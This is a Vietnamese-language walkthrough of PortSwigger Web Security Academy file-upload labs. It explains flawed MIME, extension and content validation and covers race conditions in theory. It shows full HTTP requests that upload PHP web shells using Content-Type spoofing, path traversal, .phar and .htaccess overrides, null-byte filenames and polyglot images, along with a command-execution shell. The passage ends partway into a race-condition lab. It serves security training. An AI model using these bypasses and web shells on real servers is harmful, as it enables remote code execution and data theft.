Flawed File Type Validation

Khi submit HTML form, trình duyệt thường gửi POST request có Content-Typeapplication/x-www-form-url-encoded. Tuy nhiên, loại nội dung này chỉ được dùng cho dữ liệu đơn giản chẳng hạn như tên hoặc địa chỉ của người dùng. Đối với dữ liệu có kích thước lớn và ở dạng nhị phân chẳng hạn như hình ảnh hoặc PDF, loại nội dung được sử dụng sẽ là multipart/form-data.

Ví dụ, xét một form bao gồm các trường: hình ảnh, mô tả và username. Request khi submit form có dạng như sau:

POST /images HTTP/1.1
Host: normal-website.com
Content-Length: 12345
Content-Type: multipart/form-data; boundary=---------------------------012345678901234567890123456
 
---------------------------012345678901234567890123456
Content-Disposition: form-data; name="image"; filename="example.jpg"
Content-Type: image/jpeg
 
[...binary content of example.jpg...]
 
---------------------------012345678901234567890123456
Content-Disposition: form-data; name="description"
 
This is an interesting description of my image.
 
---------------------------012345678901234567890123456
Content-Disposition: form-data; name="username"
 
wiener
---------------------------012345678901234567890123456--

Có thể thấy, request body được tách thành nhiều phần tương ứng với từng input. Mỗi phần có header Content-Disposition cho biết các thông tin cơ bản về input trong ngữ cảnh của HTML form chẳng hạn như tên param (name) hoặc tên tập tin (filename). Ngoài ra, mỗi phần còn có thể có header Content-Type giúp chỉ định MIME type của dữ liệu bên trong nó.

Server có thể validate tập tin được tải lên bằng cách so khớp giá trị của Content-Type với một MIME type cụ thể nào đó. Ví dụ, nếu server mong muốn nhận được các tập tin hình ảnh thì nó sẽ so khớp với image/jpegimage/png. Vấn đề sẽ nảy sinh khi server tin cậy giá trị của header này và không thực hiện các kiểm tra khác. Khi đó, để bypass việc kiểm tra MIME type, attacker có thể thay đổi giá trị của Content-Type trước khi gửi request bằng cách sử dụng các HTTP client chẳng hạn như Burp Suite.

Lab: Web Shell Upload via Content-Type Restriction Bypass

Mô tả lab:

  • Tồn tại lỗ hổng trong tính năng upload hình ảnh do server chặn các loại tập tin không mong muốn dựa vào một input bị kiểm soát bởi người dùng.
  • Mục tiêu là upload một web shell đơn giản được viết bằng PHP để đọc nội dung của tập tin /home/carlos/secret.
  • Tài khoản được cung cấp là wiener:peter.

Thử upload web shell sau:

<?php echo file_get_contents('/home/carlos/secret'); ?>

Response nhận được là:

HTTP/2 403 Forbidden
Date: Wed, 24 Apr 2024 05:36:08 GMT
Server: Apache/2.4.41 (Ubuntu)
Content-Type: text/html; charset=UTF-8
X-Frame-Options: SAMEORIGIN
Content-Length: 238
 
Sorry, file type application/octet-stream is not allowed
        Only image/jpeg and image/png are allowed
Sorry, there was an error uploading your file.<p><a href="/my-account" title="Return to previous page">« Back to My Account</a></p>

Sử dụng Burp Repeater và sửa Content-Type của web shell thành image/jpeg:

POST /my-account/avatar HTTP/2
Host: 0a1200dd043f8597847f180200fb009a.web-security-academy.net
Cookie: session=2XGtpZtbjzAfhKqn1jNDw8YlUNGapQUp
Content-Length: 477
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="124", "Microsoft Edge";v="124", "Not-A.Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: https://0a1200dd043f8597847f180200fb009a.web-security-academy.net
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryeEEvpWOIXA2Af6vu
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Edg/124.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0a1200dd043f8597847f180200fb009a.web-security-academy.net/my-account?id=wiener
Accept-Encoding: gzip, deflate, br
Accept-Language: vi,en-US;q=0.9,en;q=0.8
Priority: u=0, i
 
------WebKitFormBoundaryeEEvpWOIXA2Af6vu
Content-Disposition: form-data; name="avatar"; filename="webshell.php"
Content-Type: image/jpeg
 
<?php echo file_get_contents('/home/carlos/secret'); ?>
------WebKitFormBoundaryeEEvpWOIXA2Af6vu
Content-Disposition: form-data; name="user"
 
wiener
------WebKitFormBoundaryeEEvpWOIXA2Af6vu
Content-Disposition: form-data; name="csrf"
 
SSUiU9XghIVIBo7fz8oYkkxqmaMAgdU7
------WebKitFormBoundaryeEEvpWOIXA2Af6vu--

Response cho thấy ta đã upload web shell thành công:

HTTP/2 200 OK
Date: Wed, 24 Apr 2024 05:37:20 GMT
Server: Apache/2.4.41 (Ubuntu)
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
X-Frame-Options: SAMEORIGIN
Content-Length: 133
 
The file avatars/webshell.php has been uploaded.<p><a href="/my-account" title="Return to previous page">« Back to My Account</a></p>

Truy cập vào endpoint /files/avatars/webshell.php để thực thi web shell và đọc nội dung của tập tin /home/carlos/secret. Response nhận được là:

HTTP/2 200 OK
Date: Wed, 24 Apr 2024 05:38:15 GMT
Server: Apache/2.4.41 (Ubuntu)
Content-Type: text/html; charset=UTF-8
X-Frame-Options: SAMEORIGIN
Content-Length: 32
 
iaTMKVBlR3ehtmE53u0xBBlGPm4xNi6L

Preventing File Execution in User-accessible Directories

Server có thể cấu hình một danh sách các MIME type mà có thể được thực thi và sẽ trả về lỗi nếu như loại tập tin không được cấu hình. Trong một số trường hợp, server có thể trả về nội dung của tập tin:

GET /static/exploit.php?command=id HTTP/1.1
Host: normal-website.com
 
 
HTTP/1.1 200 OK
Content-Type: text/plain
Content-Length: 39
 
<?php echo system($_GET['command']); ?>

Note

Hành vi này tuy ngăn chặn được việc tạo web shell nhưng có thể để lộ mã nguồn.

Cách cấu hình trên thường khác nhau giữa các thư mục. Cụ thể, các thư mục mà có chứa tập tin được tải lên bởi người dùng thường có các ràng buộc nghiêm khắc hơn các thư mục khác. Nếu ta có thể upload web shell lên một thư mục mà đáng lẽ không được dùng để chứa các tập tin của người dùng thì server có thể thực thi nó.

Tip

Các web server thường dựa vào trường filename ở trong các multipart/form-data request để xác định vị trí lưu trữ tập tin.

Lab: Web Shell Upload via Path Traversal

Mô tả lab:

  • Tồn tại lỗ hổng trong tính năng upload hình ảnh.
  • Server có cấu hình để ngăn cản việc thực thi các tập tin của người dùng nhưng vẫn có thể bị bypass bằng cách khai thác một lỗ hổng khác.
  • Mục tiêu là upload một web shell đơn giản được viết bằng PHP để đọc nội dung của tập tin /home/carlos/secret.
  • Tài khoản được cung cấp là wiener:peter.

Tên của lab có đề cập đến lỗ hổng path traversal.

Thử upload web shell sau:

<?php echo file_get_contents('/home/carlos/secret'); ?>

Response nhận được là:

HTTP/2 200 OK
Date: Wed, 24 Apr 2024 05:51:24 GMT
Server: Apache/2.4.41 (Ubuntu)
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
X-Frame-Options: SAMEORIGIN
Content-Length: 133
 
The file avatars/webshell.php has been uploaded.<p><a href="/my-account" title="Return to previous page">« Back to My Account</a></p>

Truy cập đến endpoint /files/avatars/webshell.php để thực thì web shell thì nhận được response sau:

HTTP/2 200 OK
Date: Wed, 24 Apr 2024 05:52:23 GMT
Server: Apache/2.4.41 (Ubuntu)
Last-Modified: Wed, 24 Apr 2024 05:51:24 GMT
Etag: "37-616d142c5074d"
Accept-Ranges: bytes
X-Frame-Options: SAMEORIGIN
Content-Length: 55
 
<?php echo file_get_contents('/home/carlos/secret'); ?>

Có thể thấy, web shell đã được upload nhưng không thể được thực thi.

Thử xây dựng một request có đường dẫn của tập tin nằm ở một thư mục khác:

POST /my-account/avatar HTTP/2
Host: 0a19001304e5119d808826b700aa0061.web-security-academy.net
Cookie: session=oUkBKoQ4suOjE2r8qEsJAXkAoEg6wZFE
Content-Length: 482
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="124", "Microsoft Edge";v="124", "Not-A.Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: https://0a19001304e5119d808826b700aa0061.web-security-academy.net
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryQaFfnp10N8Z2IwGa
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Edg/124.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0a19001304e5119d808826b700aa0061.web-security-academy.net/my-account?id=wiener
Accept-Encoding: gzip, deflate, br
Accept-Language: vi,en-US;q=0.9,en;q=0.8
Priority: u=0, i
 
------WebKitFormBoundaryQaFfnp10N8Z2IwGa
Content-Disposition: form-data; name="avatar"; filename="..%2fwebshell.php"
Content-Type: application/octet-stream
 
<?php echo file_get_contents('/home/carlos/secret'); ?>
------WebKitFormBoundaryQaFfnp10N8Z2IwGa
Content-Disposition: form-data; name="user"
 
wiener
------WebKitFormBoundaryQaFfnp10N8Z2IwGa
Content-Disposition: form-data; name="csrf"
 
DAIRNLbVgbDOvr04I9hHa1XYOB6FALQk
------WebKitFormBoundaryQaFfnp10N8Z2IwGa--
 

Note

Nếu không URL encoding thì tập tin vẫn được tải lên ở thư mục files/avatars.

Gửi request đến web shell ở endpoint /files/avatars/../webshell.php thì nhận được response sau:

HTTP/2 200 OK
Date: Wed, 24 Apr 2024 05:58:09 GMT
Server: Apache/2.4.41 (Ubuntu)
Content-Type: text/html; charset=UTF-8
X-Frame-Options: SAMEORIGIN
Content-Length: 32
 
vt6EjF603EskQJQCNj5KL5fNoLQzzJ2b

Insufficient Blacklisting of Dangerous File Types

Việc dùng blacklist để chặn các phần mở rộng của tập tin chẳng hạn như .php thường không hiệu quả do không thể nào chặn được hết tất cả. Các blacklist này có thể bị bypass bằng cách sử dụng các phần mở rộng thay thế ít dùng chẳng hạn như .php5 hoặc .shtml.

Lab: Web Shell Upload via Extension Blacklist Bypass

Mô tả lab:

  • Tồn tại lỗ hổng trong tính năng upload hình ảnh.
  • Một số phần mở rộng tập tin bị chặn bởi blacklist nhưng ta vẫn có thể bypass bằng một khuyết điểm cơ bản ở trong cấu hình của blacklist này.
  • Mục tiêu là upload một web shell đơn giản được viết bằng PHP để đọc nội dung của tập tin /home/carlos/secret.
  • Tài khoản được cung cấp là wiener:peter.

Thử upload web shell sau:

<?php echo file_get_contents('/home/carlos/secret'); ?>

Response nhận được là:

HTTP/2 403 Forbidden
Date: Wed, 24 Apr 2024 06:54:36 GMT
Server: Apache/2.4.41 (Ubuntu)
Content-Type: text/html; charset=UTF-8
X-Frame-Options: SAMEORIGIN
Content-Length: 164
 
Sorry, php files are not allowed
Sorry, there was an error uploading your file.<p><a href="/my-account" title="Return to previous page">« Back to My Account</a></p>

Thay phần mở rộng thành .phar:

POST /my-account/avatar HTTP/2
Host: 0aec00a00322974384f90946009e0094.web-security-academy.net
Cookie: session=3bgylgGRmIZaF9r8hj0wZThkb1yQ3PhI
Content-Length: 478
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="124", "Microsoft Edge";v="124", "Not-A.Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: https://0aec00a00322974384f90946009e0094.web-security-academy.net
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryHh39CIiHiyUO1Amn
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Edg/124.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0aec00a00322974384f90946009e0094.web-security-academy.net/my-account
Accept-Encoding: gzip, deflate, br
Accept-Language: vi,en-US;q=0.9,en;q=0.8
Priority: u=0, i
 
------WebKitFormBoundaryHh39CIiHiyUO1Amn
Content-Disposition: form-data; name="avatar"; filename="webshell.phar"
Content-Type: application/octet-stream
 
<?php echo file_get_contents('/home/carlos/secret'); ?>
------WebKitFormBoundaryHh39CIiHiyUO1Amn
Content-Disposition: form-data; name="user"
 
wiener
------WebKitFormBoundaryHh39CIiHiyUO1Amn
Content-Disposition: form-data; name="csrf"
 
cre1U7EYJtDxqgj825y129BqVwxajhno
------WebKitFormBoundaryHh39CIiHiyUO1Amn--
 

Response trả về có status code là 200 cho biết ta đã upload tập tin thành công.

Gửi request đến endpoint /files/avatars/webshell.phar để thực thi web shell và ta nhận được response sau:

HTTP/2 200 OK
Date: Wed, 24 Apr 2024 07:15:24 GMT
Server: Apache/2.4.41 (Ubuntu)
Content-Type: text/html; charset=UTF-8
X-Frame-Options: SAMEORIGIN
Content-Length: 32
 
BvWIW7cjYYrVuCJtbwPOzYyXflkYtoNY

Overriding the Server Configuration

Như đã đề cập ở phần Exploiting Flawed Validation of File Uploads, server chỉ thực thi các tập tin mà có MIME type được cấu hình. Ví dụ, để Apache server thực thi tập tin PHP thì developer cần thêm các directive sau vào tập tin /etc/apache2/apache2.conf:

LoadModule php_module /usr/lib/apache2/modules/libphp.so
AddType application/x-httpd-php .php

Nhiều loại server còn cho phép developer tạo ra các tập tin cấu hình đặc biệt trong các thư mục riêng lẻ để ghi đè hoặc thêm vào global settings. Ví dụ, Apache server sẽ nạp cấu hình dành riêng cho thư mục (directory-specific) từ tập tin .htaccess.

Các IIS server cũng tương tự, developer có thể nạp cấu hình dành riêng cho thư mục từ tập tin web.config. Ví dụ, tập tin này có thể chứa các directive sau để phục vụ các tập tin JSON cho người dùng:

<staticContent>
    <mimeMap fileExtension=".json" mimeType="application/json" />
</staticContent>

Thông thường, chúng ta không thể truy cập vào các tập tin cấu hình thông qua HTTP request. Tuy nhiên, chúng ta có thể upload lên các tập tin cấu hình độc hại để khiến server map một phần mở rộng tập tin bất kỳ với một MIME type có thể thực thi.

Bài lab Lab Web Shell Upload via Extension Blacklist Bypass còn có một cách giải khác sử dụng kỹ thuật ghi đè cấu hình vừa đề cập.

Cụ thể, ta upload lên tập tin .htaccess có nội dung như sau:

AddType application/x-httpd-php .1337

Request upload tập tin là:

POST /my-account/avatar HTTP/2
Host: 0aec00a00322974384f90946009e0094.web-security-academy.net
Cookie: session=3bgylgGRmIZaF9r8hj0wZThkb1yQ3PhI
Content-Length: 867
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="124", "Microsoft Edge";v="124", "Not-A.Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: https://0aec00a00322974384f90946009e0094.web-security-academy.net
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryGHXtmcZ6R64v5J0U
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Edg/124.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0aec00a00322974384f90946009e0094.web-security-academy.net/my-account
Accept-Encoding: gzip, deflate, br
Accept-Language: vi,en-US;q=0.9,en;q=0.8
Priority: u=0, i
 
------WebKitFormBoundaryGHXtmcZ6R64v5J0U
Content-Disposition: form-data; name="avatar"; filename=".htaccess"
Content-Type: text/plain
 
AddType application/x-httpd-php .1337
------WebKitFormBoundaryGHXtmcZ6R64v5J0U
Content-Disposition: form-data; name="user"
 
wiener
------WebKitFormBoundaryGHXtmcZ6R64v5J0U
Content-Disposition: form-data; name="csrf"
 
cre1U7EYJtDxqgj825y129BqVwxajhno
------WebKitFormBoundaryGHXtmcZ6R64v5J0U--
 

Note

Chú ý chuyển Content-Type của param avatar thành text/plainfilename thành .htaccess

Response:

HTTP/2 200 OK
Date: Wed, 24 Apr 2024 07:22:18 GMT
Server: Apache/2.4.41 (Ubuntu)
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
X-Frame-Options: SAMEORIGIN
Content-Length: 130
 
The file avatars/.htaccess has been uploaded.<p><a href="/my-account" title="Return to previous page">« Back to My Account</a></p>

Sau đó, ta upload web shell với phần mở rộng là .1337 và nhận được response như sau:

HTTP/2 200 OK
Date: Wed, 24 Apr 2024 07:23:59 GMT
Server: Apache/2.4.41 (Ubuntu)
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
X-Frame-Options: SAMEORIGIN
Content-Length: 134
 
The file avatars/webshell.1337 has been uploaded.<p><a href="/my-account" title="Return to previous page">« Back to My Account</a></p>

Truy cập vào endpoint /files/avatars/webshell.1337 để thực thi web shell và ta nhận được response có chứa nội dung của tập tin /home/carlos/secret:

HTTP/2 200 OK
Date: Wed, 24 Apr 2024 07:24:17 GMT
Server: Apache/2.4.41 (Ubuntu)
Content-Type: text/html; charset=UTF-8
X-Frame-Options: SAMEORIGIN
Content-Length: 32
 
BvWIW7cjYYrVuCJtbwPOzYyXflkYtoNY

Obfuscating File Extensions

Chúng ta cũng có thể bypass blacklist bằng cách làm rối phần mở rộng của tập tin. Ví dụ, một số blacklist có thể sẽ không nhận ra phần mở rộng .pHp.

Về bản chất, chúng ta sẽ khai thác sự không nhất quán giữa việc phân tách tên tập tin và việc ánh xạ loại tập tin với MIME type.

Các kỹ thuật:

  • Sử dụng nhiều phần mở rộng tập tin. Ví dụ, tập tin exploit.php.jpg có thể là tập tin PHP hoặc JPG tùy thuộc vào thuật toán phân tách tên tập tin.
  • Thêm vào các ký tự đuôi: một số thành phần trong ứng dụng có thể xóa bỏ hoặc bỏ qua các khoảng trắng hoặc dấu chấm ở cuối tên tập tin. Khi đó, ta có thể sử dụng tên tập tin như sau: exploit.php..
  • Sử dụng URL encoding (hoặc double URL encoding) cho dấu chấm, forward slash và backward slash: nếu server không decode tên tập tin trong quá trình validate nhưng lại decode khi xử lý thì chúng ta có thể sử dụng tên tập tin như sau: exploit%2Ephp.
  • Thêm vào dấu chấm phẩy (;) hoặc các null byte được URL encode trước phần mở rộng của tập tin: nếu việc validation được thực hiện bởi một ngôn ngữ cấp cao chẳng hạn như PHP hoặc Java và server xử lý tập tin bằng các hàm cấp thấp của C++ thì ta có thể sử dụng các tên tập tin sau: exploit.asp;.jpg hoặc exploit.asp%00.jpg.
  • Thử sử dụng các ký tự unicode có nhiều byte mà sẽ được chuyển thành các null byte và dấu chấm sau quá trình chuẩn hóa. Các chuỗi chẳng hạn như xC0 x2E, xC4 xAE hoặc xC0 xAE có thể được chuyển thành x2E nếu tên tập tin được phân tách như là một chuỗi UTF-8. Sau đó, nó có thể được chuyển thành dạng ASCII trước khi được ghép vào đường dẫn tập tin.

Một số server có thể xóa bỏ hoặc thay thế các phần mở rộng nguy hiểm để ngăn chặn tập tin được thực thi. Nếu quá trình này không được thực hiện một cách đệ quy thì chúng ta có thể xây dựng tên tập tin sao cho sau khi bị validate thì nó trở thành một tập tin hợp lệ và có thể được thực thi. Ví dụ:

exploit.p.phphp

Lab: Web Shell Upload via Obfuscated File Extension

Mô tả lab:

  • Tồn tại lỗ hổng trong tính năng upload hình ảnh.
  • Một số phần mở rộng tập tin bị chặn bởi blacklist nhưng ta vẫn có thể bypass bằng cách sử dụng các kỹ thuật làm rối phần mở rộng của tập tin.
  • Mục tiêu là upload một web shell đơn giản được viết bằng PHP để đọc nội dung của tập tin /home/carlos/secret.
  • Tài khoản được cung cấp là wiener:peter.

Thử upload web shell sau:

<?php echo file_get_contents('/home/carlos/secret'); ?>

Response nhận được là:

HTTP/2 403 Forbidden
Date: Wed, 24 Apr 2024 07:50:12 GMT
Server: Apache/2.4.41 (Ubuntu)
Content-Type: text/html; charset=UTF-8
X-Frame-Options: SAMEORIGIN
Content-Length: 171
 
Sorry, only JPG & PNG files are allowed
Sorry, there was an error uploading your file.<p><a href="/my-account" title="Return to previous page">« Back to My Account</a></p>

Đổi phần mở rộng của tập tin thành .php.png:

POST /my-account/avatar HTTP/2
Host: 0aa10010044591de8494d69600e100f7.web-security-academy.net
Cookie: session=zWJsDaGLZvxCXcrB3DtGYqfCmM6iHqJL
Content-Length: 481
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="124", "Microsoft Edge";v="124", "Not-A.Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: https://0aa10010044591de8494d69600e100f7.web-security-academy.net
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryUt5qCieqk8IAtL1Z
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Edg/124.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0aa10010044591de8494d69600e100f7.web-security-academy.net/my-account?id=wiener
Accept-Encoding: gzip, deflate, br
Accept-Language: vi,en-US;q=0.9,en;q=0.8
Priority: u=0, i
 
------WebKitFormBoundaryUt5qCieqk8IAtL1Z
Content-Disposition: form-data; name="avatar"; filename="webshell.php.png"
Content-Type: application/octet-stream
 
<?php echo file_get_contents('/home/carlos/secret'); ?>
------WebKitFormBoundaryUt5qCieqk8IAtL1Z
Content-Disposition: form-data; name="user"
 
wiener
------WebKitFormBoundaryUt5qCieqk8IAtL1Z
Content-Disposition: form-data; name="csrf"
 
8VKNTJ0ZcUKkFPV6RHPsSlZ5rkFREn7g
------WebKitFormBoundaryUt5qCieqk8IAtL1Z--

Tập tin được upload thành công:

HTTP/2 200 OK
Date: Wed, 24 Apr 2024 07:51:03 GMT
Server: Apache/2.4.41 (Ubuntu)
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
X-Frame-Options: SAMEORIGIN
Content-Length: 137
 
The file avatars/webshell.php.png has been uploaded.<p><a href="/my-account" title="Return to previous page">« Back to My Account</a></p>

Gửi request đến endpoint /files/avatars/webshell.php.png để thực thi web shell và ta nhận được response sau:

HTTP/2 304 Not Modified
Date: Wed, 24 Apr 2024 07:53:18 GMT
Server: Apache/2.4.41 (Ubuntu)
Etag: "37-616d2eeb1648e"
X-Frame-Options: SAMEORIGIN
Content-Length: 0

Có thể thấy, tập tin không được xem như là tập tin PHP.

Thử thêm null byte trước phần mở rộng .png:

POST /my-account/avatar HTTP/2
Host: 0aa10010044591de8494d69600e100f7.web-security-academy.net
Cookie: session=zWJsDaGLZvxCXcrB3DtGYqfCmM6iHqJL
Content-Length: 484
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="124", "Microsoft Edge";v="124", "Not-A.Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: https://0aa10010044591de8494d69600e100f7.web-security-academy.net
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryUt5qCieqk8IAtL1Z
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Edg/124.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0aa10010044591de8494d69600e100f7.web-security-academy.net/my-account?id=wiener
Accept-Encoding: gzip, deflate, br
Accept-Language: vi,en-US;q=0.9,en;q=0.8
Priority: u=0, i
 
------WebKitFormBoundaryUt5qCieqk8IAtL1Z
Content-Disposition: form-data; name="avatar"; filename="webshell.php%00.png"
Content-Type: application/octet-stream
 
<?php echo file_get_contents('/home/carlos/secret'); ?>
------WebKitFormBoundaryUt5qCieqk8IAtL1Z
Content-Disposition: form-data; name="user"
 
wiener
------WebKitFormBoundaryUt5qCieqk8IAtL1Z
Content-Disposition: form-data; name="csrf"
 
8VKNTJ0ZcUKkFPV6RHPsSlZ5rkFREn7g
------WebKitFormBoundaryUt5qCieqk8IAtL1Z--
 

Response:

HTTP/2 200 OK
Date: Wed, 24 Apr 2024 07:56:08 GMT
Server: Apache/2.4.41 (Ubuntu)
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
X-Frame-Options: SAMEORIGIN
Content-Length: 133
 
The file avatars/webshell.php has been uploaded.<p><a href="/my-account" title="Return to previous page">« Back to My Account</a></p>

Gửi request đến endpoint /files/avatars/webshell.php để thực thi web shell và ta nhận được response như sau:

HTTP/2 200 OK
Date: Wed, 24 Apr 2024 07:56:17 GMT
Server: Apache/2.4.41 (Ubuntu)
Content-Type: text/html; charset=UTF-8
X-Frame-Options: SAMEORIGIN
Content-Length: 32
 
od40322IkbmdXcbl4gLoqwnAuLWwhAgS

Flawed Validation of the File’s Contents

Thay vì dựa vào header Content-Type, một số server thực hiện validate dựa vào nội dung của tập tin. Ví dụ, nếu là hình ảnh thì tập tin phải có thông tin về kích thước và tập tin PHP thường sẽ không có thông tin này.

Server cũng có thể kiểm tra signature của tập tin. Ví dụ, tập tin JPEG luôn bắt đầu bằng chuỗi byte FF D8 FF. Dẫu vậy, attacker cũng có thể sử dụng những công cụ chẳng hạn như ExifTool để chỉnh sửa signature của tập tin độc hại.

Lab: Remote Code Execution via Polyglot Web Shell Upload

Mô tả lab:

  • Tồn tại lỗ hổng trong tính năng upload hình ảnh.
  • Server có kiểm tra nội dung của tập tin để đảm bảo nó là hình ảnh.
  • Mục tiêu là upload một web shell đơn giản được viết bằng PHP để đọc nội dung của tập tin /home/carlos/secret.
  • Tài khoản được cung cấp là wiener:peter.

Thử upload web shell sau:

<?php echo file_get_contents('/home/carlos/secret'); ?>

Server trả về response như sau:

HTTP/2 403 Forbidden
Date: Wed, 24 Apr 2024 08:02:33 GMT
Server: Apache/2.4.41 (Ubuntu)
Content-Type: text/html; charset=UTF-8
X-Frame-Options: SAMEORIGIN
Content-Length: 164
 
Error: file is not a valid image
Sorry, there was an error uploading your file.<p><a href="/my-account" title="Return to previous page">« Back to My Account</a></p>

Sử dụng công cụ powerglot để nhúng web shell vào hình ảnh:

python3 .\powerglot.py -o .\webshell.php .\cat.jpeg malicious-cat.jpg

Upload hình ảnh vừa tạo với Content-Dispositionform-data; name="avatar"; filename="malicious-cat.php"Content-Typeimage/jpeg, ta nhận được response sau:

HTTP/2 200 OK
Date: Wed, 24 Apr 2024 08:13:47 GMT
Server: Apache/2.4.41 (Ubuntu)
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
X-Frame-Options: SAMEORIGIN
Content-Length: 138
 
The file avatars/malicious-cat.php has been uploaded.<p><a href="/my-account" title="Return to previous page">« Back to My Account</a></p>

Gửi request đến endpoint /files/avatars/malicious-cat.php để thực thi web shell và trong response nhận được có đoạn như sau:

HTTP/2 200 OK
Date: Wed, 24 Apr 2024 08:14:40 GMT
Server: Apache/2.4.41 (Ubuntu)
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
X-Frame-Options: SAMEORIGIN
Content-Length: 102992
 
ÿØÿà#JFIFHH
JzDL65ZkYK6aQ5noEFelgpD194BaZf99ÿþ

Giá trị JzDL65ZkYK6aQ5noEFelgpD194BaZf99 chính là nội dung của tập tin cần đọc.

Exploiting File Upload Race Conditions

Một số framework hiện đại upload tập tin của người dùng vào một thư mục sandbox tạm thời và sinh ra một tên tập tin ngẫu nhiên để đảm bảo rằng nó không ghi đè lên các tập tin cấu hình của hệ thống. Sau đó, tập tin được validate và chỉ được đưa vào sử dụng khi nó an toàn.

Warning

Nếu lập trình viên không sử dụng framework để xử lý tập tin thì có thể làm cho ứng dụng bị tấn công race condition.

Ví dụ, một số ứng dụng cho phép upload tập tin lên hệ thống tập tin chính rồi xóa nó nếu không vượt qua được quá trình validation. Hành vi này thường dựa vào các phần mềm anti-virus và có thể mất vài mili giây. Tuy nhiên, trong khoảng thời gian đó, attacker vẫn có khả năng để thực thi tập tin.

Info

Những lỗ hổng này thường khá khó phát hiện trong quá trình kiểm thử hộp đen trừ khi ta tìm được một cách nào đó để có được mã nguồn.

Theo lý thuyết, nếu tập tin được nạp vào một thư mục tạm thời có tên ngẫu nhiên thì attacker không thể gửi request để thực thi tập tin do không biết tên của thư mục. Tuy nhiên, nếu tên thư mục được sinh ra bởi các hàm sinh số giả ngẫu nhiên chẳng hạn như hàm uniqid() của PHP thì attacker vẫn có thể brute-force.

Thậm chí, attacker cũng có thể kéo dài thời gian validate tập tin để có thêm thời gian brute force bằng cách upload những tập tin có kích thước lớn. Cụ thể hơn, attacker có thể tạo ra tập tin có payload cần thực thi ở đầu và theo sau đó là một lượng lớn các byte đệm.

Lab: Web Shell Upload via Race Condition

Mô tả lab:

  • Tồn tại lỗ hổng trong tính năng upload hình ảnh.
  • Server có thực hiện validate tập tin nhưng ta vẫn có thể bypass bằng cách khai thác lỗ hổng race condition.
